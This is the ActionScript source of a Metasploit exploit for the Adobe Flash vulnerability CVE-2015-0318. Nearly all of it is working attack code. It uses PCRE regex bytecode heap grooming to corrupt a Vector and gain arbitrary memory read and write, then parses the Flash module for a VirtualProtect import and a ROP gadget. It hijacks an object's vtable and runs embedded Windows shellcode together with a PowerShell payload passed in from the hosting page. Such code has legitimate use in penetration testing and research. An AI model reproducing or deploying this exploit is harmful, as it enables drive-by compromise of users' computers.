metasploit-framework/external/source/exploits/CVE-2015-0318/Main.as

package 
{
	/*
	To compile (AIRSDK + Flex):
	mxmlc Main.as -o Main.swf -strict=false
	*/

	import mx.utils.Base64Decoder;
	import flash.display.*;
	import flash.utils.ByteArray;
	import flash.external.ExternalInterface;
	import mx.utils.Base64Decoder;
	
	public class Main extends Sprite
	{
		private var i:int;
		private var j:int;
		
		private const OP_END:int = 0;
		private const OP_ANY:int = 12;
		private const OP_KET:int = 84;
		private const OP_CBRA:int = 94;
		private const OP_FAIL:int = 108;
		private const OP_ACCEPT:int = 109;
		
		private var testSubject:String = 'c01db33f';
		private var subject:String = '';
		
		private var count_576:int = 128;
		private var pre_576:int = 4;
		private var groom_576:Array = new Array(count_576);
		
		private var count_re:int = 8;
		private var source_re:Vector.<String> = new Vector.<String>(count_re);
		private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
		private var subjects:Vector.<String> = new Vector.<String>(count_re);
		
		private var count_504:int = 256 * 3;
		private var pre_504:int = 30;
		private var groom_504:Array = new Array(count_504);
		
		private var junk:Array = new Array();
		private var junk_idx:int = 0;
		
		public static function Debug(message:String):void {
			ExternalInterface.call('console.log', message);
		}
		
		public function MakeRegex(c:String):String {
			var i:int;
			var r:String = '(c01db33f|^(' + c + '*)'
			for (i = 0; i < 39; ++i) {
				r += '(A)';
			}
			r += '\\'
			r += '41';
			for (i = 0; i < 20; ++i) {
				r += 'A';
			}
			r += '(' 
			r += '\\'
			r += 'c'
			r += '\uc080'
			r += '*)?(?70))';
			return r;
		}
		
		public function MakeSubject(c:String):String {
			var i:int;
			var s:String = c;
			for (i = 0; i < 0x80 - 0x3d; ++i) {
				s += c;
			}
			for (i = 0; i < 60; ++i) {
				s += 'A';
			}
			return s;
		}
		
		public function MakeByteArray(size:int):ByteArray {
			var i:int = 0;
			var b:ByteArray = new ByteArray();
			b.length = size;
			for (i = 0; i < size; ++i) {
				b.writeByte(0x23);
			}
			return b;
		}
		
		public function Initialise():void {
			for (i = 0; i < 8; ++i) {
				subjects[i] = MakeSubject(i.toString());
				source_re[i] = MakeRegex(i.toString());
			}	
		}
		
		public function CompileRegex():RegExp {
			
			// heap groom the block of regex bytecode we want to follow our
			// legitimate bytecode.
			
			for (i = 0; i < count_576; ++i) {
				var b:ByteArray = new ByteArray();
				b.length = 576;
				
				// regex nop sled :-p
				for (j = 0; j < 500; ++j) {
					b.writeByte(OP_ANY);
				}
				
				// this is the capturing bracket that find_bracket will be 
				// looking for to match (?70)
				b.writeByte(OP_CBRA);
				b.writeByte(1); 	    // WORD length of group (only != 0)
				b.writeByte(0);
				b.writeByte(0); 	    // WORD number of group (must == 70)
				b.writeByte(70);
				
				// we use OP_CBRA to write the current match length at one 
				// dword past the end of our offset_vector.
				//
				// this is due to another bug in pcre_exec where it is 
				// assumed that the group number is 
				// 			0 < number < md->offset_max
				// and it is only checked that group < md->offset_max, and
				// then indexing is done backwards frm the end of the buffer,
				// so a group number of 0 lets us index one dword past the end
				// of the offset_vector.
				
				b.writeByte(OP_CBRA);
				b.writeByte(0); 	    // WORD length of group
				b.writeByte(0);
				b.writeByte(0); 	    // WORD number of group
				b.writeByte(0);
				
				// we're done with executing this regex for now.
				b.writeByte(OP_ACCEPT); // yay a match :-)
				
				b.writeByte(OP_KET);    // closing KET for group (?70)
				b.writeByte(OP_KET);    // closing KET for exploit group
				
				b.writeByte(OP_END);
				
				b.writeByte(0);
				
				groom_576[i] = b;
			}
			
			// make some gaps
			for (i = 0; i < count_576; i += 2) {
				groom_576[i].length = 0;
				groom_576[i] = null;
			}

			for (i = 0; i < (pre_576 * 2); i += 2) {
				groom_576[i] = MakeByteArray(576);
			}
			
			for (i = 0; i < count_re; ++i) {
				try {
					Debug('[*] compiling regex');
					var re:RegExp = new RegExp(source_re[i]);
					compiled_re[i] = re;
					var match:Object = re.exec(testSubject);
					if (match != null && match[0] == 'c01db33f') {
						Debug('[*] compiled successfully');
						subject = subjects[i];
						return re;
					}
					else {
						// that allocation was no good, fill with a bytearray
						junk[junk_idx++] = MakeByteArray(576);
					}
				} catch (error:Error) {
					Debug('[*] error compiling regex: ' + error.message);
				}
				
				Debug('[*] failed...');
			}
			
			Debug('[*] failed first groom');
			return null;
		}
		
		public function negative(i:uint):uint {
			return (~i) + 1;
		}
		
		public function CorruptVector(r:RegExp):Vector.<uint> {
			
			var v:Vector.<uint> = null;
			var uv:Vector.<uint> = null;
			var ov:Vector.<Object> = null;
			
			for (i = 0; i < count_504; ++i) {
				v = new Vector.<uint>(124);
				v[0] = 0xc01db33f
				v[1] = i;
				for (j = 2; j < 124; ++j) {
					v[j] = 0x88888888;
				}
				groom_504[i] = v;
			}
			
			for (i = 0; i < count_504; i += 3) {
			    groom_504[i].length = 0;
				groom_504[i] = null;
			}
			
			for (i = 0; i < pre_504; i += 1) {
				junk[junk_idx++] = MakeByteArray(504);
			}
			
			v = null;
			for (i = 0; i < 128; i += 3) {
				try {
					Debug('[*] executing regex');
					r.exec(subject);
				} catch (error:Error) {
					Debug('[*] regex execution failed: ' + error.message);
				}
				
				for (j = 1; j < count_504; j += 3) {
					if (groom_504[j].length != 124) {
						Debug('[*] corrupted vector');
						v = groom_504[j];
						break;
					}
				}
				
				if (v != null) {
					break;
				}
				
				Debug('[*] failed...');
				junk[junk_idx++] = MakeByteArray(504);
				junk[junk_idx++] = MakeByteArray(504);
			}
			
			// at this point we have a vector with a corrupt length,  hopefully
			// followed by another vector of legitimate length.
			
			if (v == null) {
				Debug('[*] failed to groom for vector corruption');
				return null;
			}

			if (v[126] != 0xc01db33f) {
				Debug('[*] magic check failed!');
			}
			
			// read out the index of the following vector; this is the vector
			// that we will use for the rest of the exploit
			
			i = v[127];
			uv = groom_504[i];
			uv.fixed = true;
			
			// corrupt the length of uv so that we can access all of memory :)
			
			v[124] = 0xffffffff;
			
			// first fix the length of the original corrupted array so we don't
			// need to worry about it any more...			
			
			uv[negative(0x80)] = 0x6e;
			
			// now read back 0x1f8 bytes before the first vector; this must be
			// inside the original offset_vector that we overflowed, (so it is
			// guaranteed to be safe) and this buffer is directly free'd at the
			// end of pcre_exec. as it's quite a large allocation, we can be 
			// quite sure that it is still on the freelist and we can steal the
			// freelist pointer from it, which will likely point to the block 
			// after our second vector.
			
			uv[0] = uv[negative(0xfe)];
			
			// we really can't do much sanity checking here; all we know is 
			// that this should be a pointer, and it will be 8 byte aligned.

			if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
				Debug('[*] freelist ptr sanity check failed!');
				uv[negative(2)] = 0x6e;
				return null;
			}
			
			// uv[0] == address of our vector.<uint>'s buffer
			
			uv[0] -= 0x1f0;
			
			return uv;
		}
		
		public function FindGCHeap(m:Memory):uint {
			
			// nothing much to say about this; we know that there's a 
			// FixedBlock at the start of the page that our vector is allocated
			// on, and that holds a pointer back to the global GCHeap, which is
			// a static singleton in the flash module. I've copied in the class
			// declarations for the structures being traversed, for reference.
			
			var fixed_block:uint = m.vector_base & 0xfffff000;
			
			/*
			struct FixedBlock
			{
				void*  firstFree;       // First object on the block's free list
				void*  nextItem;        // First object free at the end of the block
				FixedBlock* next;       // Next block on the list of blocks (m_firstBlock list in the allocator)
				FixedBlock* prev;       // Previous block on the list of blocks
				uint16_t numAlloc;      // Number of items allocated from the block
				uint16_t size;          // Size of objects in the block
				FixedBlock *nextFree;   // Next block on the list of blocks with free items (m_firstFree list in the allocator)
				FixedBlock *prevFree;   // Previous block on the list of blocks with free items
------->		FixedAlloc *alloc;      // The allocator that owns this block
				char   items[1];l       // Memory for objects starts here
			};
			*/
			
			var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
			
			/*
			class FixedAlloc
			{
			private:
------->		GCHeap *m_heap;             // The heap from which we obtain memory
				uint32_t m_itemsPerBlock;   // Number of items that fit in a block
				uint32_t m_itemSize;        // Size of each individual item
				
				FixedBlock* m_firstBlock;   // First block on list of free blocks
				FixedBlock* m_lastBlock;    // Last block on list of free blocks
				FixedBlock* m_firstFree;    // The lowest priority block that has free items

				size_t    m_numBlocks;      // Number of blocks owned by this allocator
		#ifdef MMGC_MEMORY_PROFILER
				size_t m_totalAskSize;      // Current total amount of memory requested from this allocator
		#endif
				bool const m_isFixedAllocSafe;  // true if this allocator's true type is FixedAllocSafe
			}
			*/
			
			var gcheap:uint = m.read_dword(fixed_alloc);
			
			return gcheap;
		}
		
		public function FindPwned(m:Memory, gcheap:uint):uint {
			
			// we're going to walk the heap to find it because we don't like
			// being crashy. a lazier approach would be to spray a ton of 
			// objects and scan forward from our array; this is more reliable.
			
			/*
			class GCHeap
			{
			public:
------->		Region *lastRegion;
			
			private:
				...
			};
			*/
			
			// I have no idea why this is at offset 4. GCheap is not virtual
			// so perhaps the Flash code has changed since the github avmplus 
			// release.
			
			var region:uint = m.read_dword(gcheap + 4);
		
			/*
			class Region
			{
			public:
				Region *prev;
				char *baseAddr;
				char *reserveTop;
				char *commitTop;
				size_t blockId;
			};
			*/
			
			while (region != 0) {
				var region_base:uint = m.read_dword(region + 4);				
				var region_rtop:uint = m.read_dword(region + 8);
				var region_top:uint = m.read_dword(region + 12);
				
				if (region_rtop & 1 != 0) {
					Debug('[*] this browser already got pwned, go away');
					return 0;
				}
				
				m.write_dword(region + 8, region_rtop + 1);
				
				// TODO: we can optimise here as we know the alignment of the
				// magic values.
				
				Debug('  [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
					
				for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
					if (m.read_dword(ptr) == 0xdecafbad
					    && m.read_dword(ptr + 4) == 0xdecafbad) {
						
						// we have found our two magic values
						return ptr - 0x10;
					}
				}
				
				// region = region->prev;
				region = m.read_dword(region);
			}
			
			return 0;
		}


		
		public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
			var myshellcode:Array = GetPayload();
			// at this point we are sandwiched on the stack between the current
			// frame and the previous frame; this is hazardous, we need to 
			// shift our stack back above the current frame or things will go 
			// wrong(tm).
			v[i++] = 0x1000ec81; // 81ec00100000      sub esp, 0x1000
			v[i++] = 0x90900000;

			v[i++] = 0x90909090;
			v[i++] = 0x90909090;
			v[i++] = 0x90909090;
			//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes

			// Our payload (see GetPayload)
			for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
				v[i++] = myshellcode[payload_i];
			}

			v[i++] = 0x90909090;
			v[i++] = 0x90909090;
			v[i++] = 0x90909090;
			//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
			

			// we just put things back how they were; at least, everything 
			// important. we need esp and ebp to be correct, which is easy;
			// we need ecx to point to the object's vtable and then we can
			// just jump to the actual method implementation as though we
			// had hooked it.
			
			v[i++] = 0x0bf8c481; // 81C4F80B0000      add esp,0xbf8
			v[i++] = 0x90900000;
			v[i++] = 0x1c24ac8d; // 8DAC241c120000    lea ebp,[esp+0x121c]
			v[i++] = 0x90000012;
			v[i++] = 0xb9909090; // B944434241        mov ecx, vtable_ptr
			v[i++] = ptr;
			v[i++] = 0xb8909090; // B844434241        mov eax, orig_function_ptr
			v[i++] = fun;   
			v[i++] = 0x9090e0ff; // FFE0              jmp eax
		}

		public function GetPayload():Array {
			// Grab the powershell payload from the sh parameter in the HTML file
			var b64:Base64Decoder = new Base64Decoder();
			var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
			b64.decode(raw_psh_payload);
			var psh_payload:String = b64.toByteArray().toString();

			// This is generated from here:
			// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
			// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
			var payload:String = "" +
			"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
			"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
			"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
			"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
			"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
			"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
			"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
			"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
			"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";

			// Here we convert the binary string to an array of DWORDS
			var arr:Array = new Array();
			for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
				var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
				var hex:String = ""; 
				for (var i2:int = 0; i2 < dword.length; i2++) {
					var byte:String = dword.charCodeAt(i2).toString(16);
					// The toString(16) conversion doesn't print zeros the way we want it.
					// Like for example: for a null byte, it returns: '0', but the format should be: '00'
					// Another example: For 0x0c, it returns 'c', but it should be '0c'
					if (byte == '0') {
						byte = "00";
					} else if (byte.length == 1) {
						byte = '0' + byte;
					}
					hex += byte;
				}
				var real_dword:uint = parseInt(hex, 16);
				arr.push(real_dword);
			}

			return arr;
		}


		public function Main() {
			i = 0;

			Initialise();
			
			var r:RegExp = CompileRegex();
			if (r == null) {
				return;
			}
			
			Debug("Corrupting Vector");
			
			var v:Vector.<uint> = CorruptVector(r);
			if (v == null) {
				Debug("CorruptVector returns null");
				return;
			}

			var m:Memory = new Memory(v, v[0], 0x6e);
			
			// at this point we have an absolute read/write primitive letting 
			// us read and write dwords anywhere in memory, so everything else
			// is a technicality.
			
			// we need an exception handler from here, because we have a vector
			// that's addressing the whole address space, and if anything goes
			// wrong, we want to clean that up or things will get unpleasant.
			
			try {
				
				// first we follow some pointers on the heap back to retrieve 
				// the address of the static GCHeap object in the flash module.
				
				// this is useful for two reasons; firstly it gives us a 
				// pointer into the flash module, but secondly (and more 
				// importantly) we can use the region lists in the GCHeap
				// structure to safely scan the heap to find things.
				
				var gcheap:uint = FindGCHeap(m);
				if (gcheap == 0) {
					return;
				}

				// now we can parse the flash module in memory, locate useful
				// imports and find the stack adjust gadget that we need.
				
				Debug('[*] scanning flash module for gadgets');
				var p:PE32 = new PE32(m, gcheap);
				
				Debug('  [-] ' + p.base.toString(16) + ' flash base');
				
				var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
				Debug('  [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');

				// Find this in Flash
				// 81 c4 40 00 00 00 add esp, 40h
				// c3                ret
				var gadget_bytes:ByteArray = new ByteArray();
				gadget_bytes.length = 7;
				gadget_bytes.writeByte(0x81);
				gadget_bytes.writeByte(0xc4);
				gadget_bytes.writeByte(0x40);
				gadget_bytes.writeByte(0x00);
				gadget_bytes.writeByte(0x00);
				gadget_bytes.writeByte(0x00);
				gadget_bytes.writeByte(0xc3);
				
				var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
				var ret:uint = add_esp_40h_ret + 6;
				Debug('  [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
				Debug('  [-] ' + ret.toString(16) + ' ret');
				
				// now we create an actionscript class that we can readily 
				// signature on the heap; we're going to find this object and
				// overwrite its vtable pointer to gain control of execution.
				
				Debug('[*] scanning heap to find pwned object');
				var pwned:Pwned = new Pwned();
				var pwned_ptr:uint = FindPwned(m, gcheap);
				Debug('[*] pwned object: ' + pwned_ptr.toString(16));
				if (pwned_ptr == 0) {
					return;
				}
				
				// we have a pointer to the object; save the vtable pointer for
				// replacement later and then create a new vtable containing 
				// our gadget at the correct offset for the 'Rop' function.
				
				// object ptr is actually a ScriptObject* for our ClassClosure?
				var object_ptr:uint = m.read_dword(pwned_ptr + 8);
				var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
				var method_ptr:uint = m.read_dword(vtable_ptr + 4);
				
				var shellcode:uint = m.vector_base + 4;	

				WriteShellcode(v, 1, vtable_ptr, method_ptr);
				
				// invoking the method first makes our life simpler; otherwise
				// flash will go hunt for the right method, and recovery was 
				// quite messy.
				
				var a:uint = 0x61616161;
				pwned.Rop(
					a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
				
				// overwrite the method pointer
				m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
					
				// fix up our vector length already, since we won't need it again.
				m.Cleanup();
				
				var PAGE_EXECUTE_READWRITE:uint = 0x40;
				
				// where better to rop than the actual stack :-P
				Debug('[*] getting ma rop on');
				pwned.Rop(
				
					// ret sled oh yeah!
					
					// actually this is just me lazily making stack space so 
					// that VirtualProtect doesn't trample all over any of 
					// flash's stuff and make it have a sad.
					
					ret, ret, ret, ret, ret, ret, ret, ret, 
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, // 3f
					
					ret, ret, ret, ret, ret, ret, ret, ret, 
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, // 7f
					
					ret, ret, ret, ret, ret, ret, ret, ret, 
					ret, ret, ret, ret, ret, ret, ret, ret, 
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret, // cf
					
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					ret, ret, ret, ret, ret, ret, ret, ret,
					
					virtual_protect,        // BOOL WINAPI VirtualProtect(
					shellcode,		        // ...
					shellcode,              //     LPVOID  lpAddress,
					0x1000,                 //     SIZE_T  dwSize,
					PAGE_EXECUTE_READWRITE, //     DWORD   flNewProtect,
					m.vector_base,          //     LPDWORD lpflOldProtect
											// );
											
					0x41414141, 0x41414141);
			
				Debug('[*] we survived!');
				
				// no need to fix the vtable, as we only overwrote the pointer
				// for the Rop method, and it won't get called again.
				
			} catch (e:Error) {
				Debug('[!] error: ' + e.message);
			} finally {
				// we *always* need to clean up our corrupt vector as flash 
				// will try to zero it out later otherwise...
				
				Debug('[*] cleaning up corrupted vector');
				m.Cleanup();
			}
		}
	}
}